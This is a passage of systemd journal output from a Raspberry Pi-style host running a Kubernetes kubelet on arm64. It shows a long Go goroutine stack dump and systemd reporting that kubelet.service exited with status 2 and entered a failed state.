/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/pod_workers.go:173 +0xd0 fp=0x4421093e60 sp=0x4421093dd0\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet.  podworkers .managepodloop 0x4420767110, 0x4421080840 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/pod_workers.go:176 +0x98 fp=0x4421093f90 sp=0x4421093e60\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet.  podworkers .updatepod.func1 0x4420767110, 0x4421080840 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/pod_workers.go:220 +0x54 fp=0x4421093fc0 sp=0x4421093f90\r jun 26 07:10:21 pi5 kubelet 716 : runtime.goexit  \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/runtime/asm_arm64.s:981 +0x4 fp=0x4421093fc0 sp=0x4421093fc0\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/pkg/kubelet.  podworkers .updatepod\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/pod_workers.go:221 +0x2bc\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 1  chan receive :\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/cmd/kubelet/app.run 0x44202ee000, 0x442038c8c0, 0x4400000000, 0x4420099ad0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubelet/app/server.go:621 +0x35c\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/cmd/kubelet/app.run 0x44202ee000, 0x0, 0x343cefd, 0x22 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubelet/app/server.go:292 +0x28\r jun 26 07:10:21 pi5 kubelet 716 : main.main  \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubelet/kubelet.go:55 +0x78\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 17  syscall, locked to thread :\r jun 26 07:10:21 pi5 kubelet 716 : runtime.goexit  \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/runtime/asm_arm64.s:981 +0x4\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 5  chan receive :\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/github.com/golang/glog.  loggingt .flushdaemon 0x512c4c0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:879 +0x54\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/vendor/github.com/golang/glog.init.1\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:410 +0x1f4\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 25  select :\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0x34e7868, 0x12a05f200, 0x0, 0x453601, 0x44200a4060 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:109 +0x110\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0x34e7868, 0x12a05f200, 0x44200a4060 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52 +0x40\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/util/logs.initlogs\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/util/logs/logs.go:50 +0x90\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 42  chan receive :\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/util/iptables.  runner .dbussignalhandler 0x44205c7320, 0x5004f00, 0x4420ab0000 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/iptables/iptables.go:597 +0x8c\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/pkg/util/iptables.  runner .connecttofirewalld\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/iptables/iptables.go:205 +0x450\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 119  chan receive :\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet.newpodcontainerdeletor.func1  \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/pod_container_deletor.go:49 +0x5c\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil.func1 0x4420780de0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:97 +0x4c\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0x4420780de0, 0x0, 0x0, 0x453601, 0x44200a4060 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:98 +0x7c\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0x4420780de0, 0x0, 0x44200a4060 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52 +0x40\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/pkg/kubelet.newpodcontainerdeletor\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/pod_container_deletor.go:53 +0xcc\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 137  chan receive :\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/util/iptables.  runner .dbussignalhandler 0x4420ab9d40, 0x5004f00, 0x4420ab0370 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/iptables/iptables.go:597 +0x8c\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/pkg/util/iptables.  runner .connecttofirewalld\r jun 26 07:10:21 pi5 systemd 1 : kubelet.service: main process exited, code=exited, status=2/invalidargument\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/iptables/iptables.go:205 +0x450\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 21  syscall :\r jun 26 07:10:21 pi5 kubelet 716 : os/signal.signal_recv 0x44200a44e0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/runtime/sigqueue.go:116 +0xd8\r jun 26 07:10:21 pi5 kubelet 716 : os/signal.loop  \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/os/signal/signal_unix.go:22 +0x18\r jun 26 07:10:21 pi5 kubelet 716 : created by os/signal.init.1\r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/os/signal/signal_unix.go:28 +0x30\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 80  chan receive :\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/util/iptables.  runner .dbussignalhandler 0x442022c6c0, 0x5004f00, 0x4420472210 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/iptables/iptables.go:597 +0x8c\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/pkg/util/iptables.  runner .connecttofirewalld\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/iptables/iptables.go:205 +0x450\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 133  chan receive :\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/util/iptables.  runner .dbussignalhandler 0x4420ab9a70, 0x5004f00, 0x4420ab02d0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/iptables/iptables.go:597 +0x8c\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/pkg/util/iptables.  runner .connecttofirewalld\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/iptables/iptables.go:205 +0x450\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 32  io wait :\r jun 26 07:10:21 pi5 kubelet 716 : net.runtime_pollwait 0x7f949d23c0, 0x72, 0x44206cf758 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/runtime/netpoll.go:164 +0x3c\r jun 26 07:10:21 pi5 kubelet 716 : net.  polldesc .wait 0x442036d5d8, 0x72, 0x4420c35320, 0x1000 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/fd_poll_runtime.go:75 +0x2c\r jun 26 07:10:21 pi5 kubelet 716 : net.  polldesc .waitread 0x442036d5d8, 0x4420138850, 0x10 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/fd_poll_runtime.go:80 +0x28\r jun 26 07:10:21 pi5 kubelet 716 : net.  netfd .readmsg 0x442036d570, 0x4420138850, 0x10, 0x10, 0x4420c35320, 0x1000, 0x1000, 0xffffffffffffffff, 0x0, 0x0, ... \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/fd_unix.go:304 +0x174\r jun 26 07:10:21 pi5 kubelet 716 : net.  unixconn .readmsg 0x44200a0468, 0x4420138850, 0x10, 0x10, 0x4420c35320, 0x1000, 0x1000, 0x514af10, 0x4420138663, 0x50679c, ... \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/unixsock_posix.go:115 +0x54\r jun 26 07:10:21 pi5 systemd 1 : unit kubelet.service entered failed state.\r jun 26 07:10:21 pi5 kubelet 716 : net.  unixconn .readmsgunix 0x44200a0468, 0x4420138850, 0x10, 0x10, 0x4420c35320, 0x1000, 0x1000, 0x41009c, 0x7, 0x44201387c2, ... \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/unixsock.go:131 +0x68\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/github.com/godbus/dbus.  oobreader .read 0x4420c35300, 0x4420138850, 0x10, 0x10, 0x1020, 0x4420c35300, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/godbus/dbus/transport_unix.go:21 +0x58\r jun 26 07:10:21 pi5 kubelet 716 : io.readatleast 0x4fe6c80, 0x4420c35300, 0x4420138850, 0x10, 0x10, 0x10, 0x4420138601, 0x4420c35300, 0x4420c245c8 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/io/io.go:307 +0x8c\r jun 26 07:10:21 pi5 kubelet 716 : io.readfull 0x4fe6c80, 0x4420c35300, 0x4420138850, 0x10, 0x10, 0x0, 0x0, 0x406268 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/io/io.go:325 +0x44\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/github.com/godbus/dbus.  unixtransport .readmessage 0x44201af9d0, 0x4420265fb0, 0x44206cfe00, 0x442036d608 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/godbus/dbus/transport_unix.go:85 +0xf0\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/github.com/godbus/dbus.  conn .inworker 0x4420a94480 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/godbus/dbus/conn.go:248 +0x34\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/vendor/github.com/godbus/dbus.  conn .auth\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/godbus/dbus/auth.go:118 +0x518\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 33  chan receive :\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/github.com/godbus/dbus.  conn .outworker 0x4420a94480 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/godbus/dbus/conn.go:385 +0x40\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/vendor/github.com/godbus/dbus.  conn .auth\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/godbus/dbus/auth.go:119 +0x538\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 107  chan receive :\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/client-go/tools/record.  eventbroadcasterimpl .starteventwatcher.func1 0x4ff9bc0, 0x4420764720, 0x442038b1e0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/record/event.go:229 +0x84\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/vendor/k8s.io/client-go/tools/record.  eventbroadcasterimpl .starteventwatcher\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/record/event.go:241 +0x5c\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 46  chan receive :\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/util/iptables.  runner .dbussignalhandler 0x442022e360, 0x5004f00, 0x442000e268 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/iptables/iptables.go:597 +0x8c\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/pkg/util/iptables.  runner .connecttofirewalld\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/iptables/iptables.go:205 +0x450\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 106  chan receive :\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/watch.  broadcaster .loop 0x44203b7540 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/watch/mux.go:201 +0x48\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/watch.newbroadcaster\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/watch/mux.go:75 +0xf4\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 105  io wait :\r jun 26 07:10:21 pi5 kubelet 716 : net.runtime_pollwait 0x7f949d2240, 0x72, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/runtime/netpoll.go:164 +0x3c\r jun 26 07:10:21 pi5 kubelet 716 : net.  polldesc .wait 0x4420336bc8, 0x72, 0x4fdecb8, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/fd_poll_runtime.go:75 +0x2c\r jun 26 07:10:21 pi5 kubelet 716 : net.  polldesc .waitread 0x4420336bc8, 0xffffffffffffffff, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/fd_poll_runtime.go:80 +0x28\r jun 26 07:10:21 pi5 kubelet 716 : net.  netfd .accept 0x4420336b60, 0x0, 0x4ff16c0, 0x442073d180 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/fd_unix.go:430 +0x16c\r jun 26 07:10:21 pi5 kubelet 716 : net.  tcplistener .accept 0x4420ab0160, 0x4420735380, 0x4400000020, 0x650780 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/tcpsock_posix.go:136 +0x24\r jun 26 07:10:21 pi5 kubelet 716 : net.  tcplistener .accepttcp 0x4420ab0160, 0x6506bc, 0x4420a8ae70, 0x4420a8ae68 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/tcpsock.go:215 +0x34\r jun 26 07:10:21 pi5 kubelet 716 : net/http.tcpkeepalivelistener.accept 0x4420ab0160, 0x4420735350, 0x2d0d320, 0x4fc9a20, 0x3080aa0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/http/server.go:3044 +0x20\r jun 26 07:10:21 pi5 kubelet 716 : net/http.  server .serve 0x4420287130, 0x50111c0, 0x4420ab0160, 0x0, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/http/server.go:2643 +0x1bc\r jun 26 07:10:21 pi5 kubelet 716 : net/http.  server .listenandserve 0x4420287130, 0x34ea2c0, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/http/server.go:2585 +0x98\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet/cadvisor.  cadvisorclient .exporthttp.func1 0x4420287130, 0x1062 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/cadvisor/cadvisor_linux.go:147 +0x4c\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/pkg/kubelet/cadvisor.  cadvisorclient .exporthttp\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/cadvisor/cadvisor_linux.go:153 +0x1e8\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 82  chan receive :\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/util/iptables.  runner .dbussignalhandler 0x442022e5a0, 0x5004f00, 0x442000e308 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/iptables/iptables.go:597 +0x8c\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/pkg/util/iptables.  runner .connecttofirewalld\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/iptables/iptables.go:205 +0x450\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 245  io wait :\r jun 26 07:10:21 pi5 kubelet 716 : net.runtime_pollwait 0x7f949d1c40, 0x72, 0x10 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/runtime/netpoll.go:164 +0x3c\r jun 26 07:10:21 pi5 kubelet 716 : net.  polldesc .wait 0x4420012d88, 0x72, 0xffffffffffffffff, 0x4ff6000 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/fd_poll_runtime.go:75 +0x2c\r jun 26 07:10:21 pi5 kubelet 716 : net.  polldesc .waitread 0x4420012d88, 0x44206e2000, 0x1000 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/fd_poll_runtime.go:80 +0x28\r jun 26 07:10:21 pi5 kubelet 716 : net.  netfd .read 0x4420012d20, 0x44206e2000, 0x1000, 0x1000, 0x0, 0x4ff6000, 0x4fdecb8 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/fd_unix.go:250 +0x148\r jun 26 07:10:21 pi5 kubelet 716 : net.  conn .read 0x4420ab00f0, 0x44206e2000, 0x1000, 0x1000, 0x0, 0x0, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/net.go:181 +0x50\r jun 26 07:10:21 pi5 kubelet 716 : net/http.  persistconn .read 0x4420d787e0, 0x44206e2000, 0x1000, 0x1000, 0x4, 0x44e310, 0x4420b9b320 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/http/transport.go:1316 +0xf8\r jun 26 07:10:21 pi5 kubelet 716 : bufio.  reader .fill 0x4420b9b020 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/bufio/bufio.go:97 +0xf4\r jun 26 07:10:21 pi5 kubelet 716 : bufio.  reader .peek 0x4420b9b020, 0x1, 0x4420d83bd8, 0x1, 0x0, 0x4421065620, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/bufio/bufio.go:129 +0x58\r jun 26 07:10:21 pi5 kubelet 716 : net/http.  persistconn .readloop 0x4420d787e0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/http/transport.go:1474 +0x158\r jun 26 07:10:21 pi5 kubelet 716 : created by net/http.  transport .dialconn\r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/http/transport.go:1117 +0x7f0\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 89  syscall :\r jun 26 07:10:21 pi5 kubelet 716 : syscall.syscall 0x3f, 0x8, 0x44207c1f40, 0x10000, 0x622b2b3b623e3631, 0x612e682866697b29, 0x455b682d61287362 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/syscall/asm_linux_arm64.s:10 +0x8\r jun 26 07:10:21 pi5 kubelet 716 : syscall.read 0x8, 0x44207c1f40, 0x10000, 0x10000, 0x66693b70653d6220, 0x657229613d3e3028, 0x685b62206e727574 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/syscall/zsyscall_linux_arm64.go:783 +0x40\r jun 26 07:10:21 pi5 kubelet 716 : syscall.read 0x8, 0x44207c1f40, 0x10000, 0x10000, 0x632c29312b296555, 0x633b613c633b303d, 0x65773d2b62292b2b \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/syscall/syscall_unix.go:162 +0x38\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/golang.org/x/exp/inotify.  watcher .readevents 0x4420555580 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/golang.org/x/exp/inotify/inotify_linux.go:160 +0x74\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/vendor/golang.org/x/exp/inotify.newwatcher\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/golang.org/x/exp/inotify/inotify_linux.go:76 +0x27c\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 85  io wait :\r jun 26 07:10:21 pi5 kubelet 716 : net.runtime_pollwait 0x7f949d2300, 0x72, 0x6 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/runtime/netpoll.go:164 +0x3c\r jun 26 07:10:21 pi5 kubelet 716 : net.  polldesc .wait 0x4420afe7d8, 0x72, 0xffffffffffffffff, 0x4ff6000 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/fd_poll_runtime.go:75 +0x2c\r jun 26 07:10:21 pi5 kubelet 716 : net.  polldesc .waitread 0x4420afe7d8, 0x44206e3000, 0x1000 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/fd_poll_runtime.go:80 +0x28\r jun 26 07:10:21 pi5 kubelet 716 : net.  netfd .read 0x4420afe770, 0x44206e3000, 0x1000, 0x1000, 0x0, 0x4ff6000, 0x4fdecb8 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/fd_unix.go:250 +0x148\r jun 26 07:10:21 pi5 kubelet 716 : net.  conn .read 0x442000e388, 0x44206e3000, 0x1000, 0x1000, 0x0, 0x0, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/net.go:181 +0x50\r jun 26 07:10:21 pi5 kubelet 716 : net/http.  persistconn .read 0x44205dfb00, 0x44206e3000, 0x1000, 0x1000, 0x4, 0x44e310, 0x4420676120 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/http/transport.go:1316 +0xf8\r jun 26 07:10:21 pi5 kubelet 716 : bufio.  reader .fill 0x44206742a0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/bufio/bufio.go:97 +0xf4\r jun 26 07:10:21 pi5 kubelet 716 : bufio.  reader .peek 0x44206742a0, 0x1, 0x4420a8ebd8, 0x1, 0x0, 0x44210803c0, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/bufio/bufio.go:129 +0x58\r jun 26 07:10:21 pi5 kubelet 716 : net/http.  persistconn .readloop 0x44205dfb00 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/http/transport.go:1474 +0x158\r jun 26 07:10:21 pi5 kubelet 716 : created by net/http.  transport .dialconn\r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/http/transport.go:1117 +0x7f0\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 86  select :\r jun 26 07:10:21 pi5 kubelet 716 : net/http.  persistconn .writeloop 0x44205dfb00 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/http/transport.go:1704 +0x330\r jun 26 07:10:21 pi5 kubelet 716 : created by net/http.  transport .dialconn\r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/http/transport.go:1118 +0x810\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 108  sleep :\r jun 26 07:10:21 pi5 kubelet 716 : time.sleep 0x2540be400 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/runtime/time.go:59 +0xe8\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/client-go/tools/record.recordtosink 0x50093c0, 0x442038b230, 0x4420b91000, 0x442075fd40, 0x4420764750, 0x2540be400 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/record/event.go:152 +0x12c\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/client-go/tools/record.  eventbroadcasterimpl .startrecordingtosink.func1 0x4420bd5000 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/record/event.go:121 +0x4c\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/client-go/tools/record.  eventbroadcasterimpl .starteventwatcher.func1 0x4ff9bc0, 0x44207648a0, 0x4420764870 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/record/event.go:239 +0xc0\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/vendor/k8s.io/client-go/tools/record.  eventbroadcasterimpl .starteventwatcher\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/record/event.go:241 +0x5c\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 109  chan receive :\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/util/config.  mux .listen 0x4420765110, 0x33d2334, 0x4, 0x442040c240 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/config/config.go:82 +0x3c\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/util/config.  mux .channel.func1  \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/config/config.go:77 +0x38\r jun 26 07:10:21 pi5 kubelet 716 : 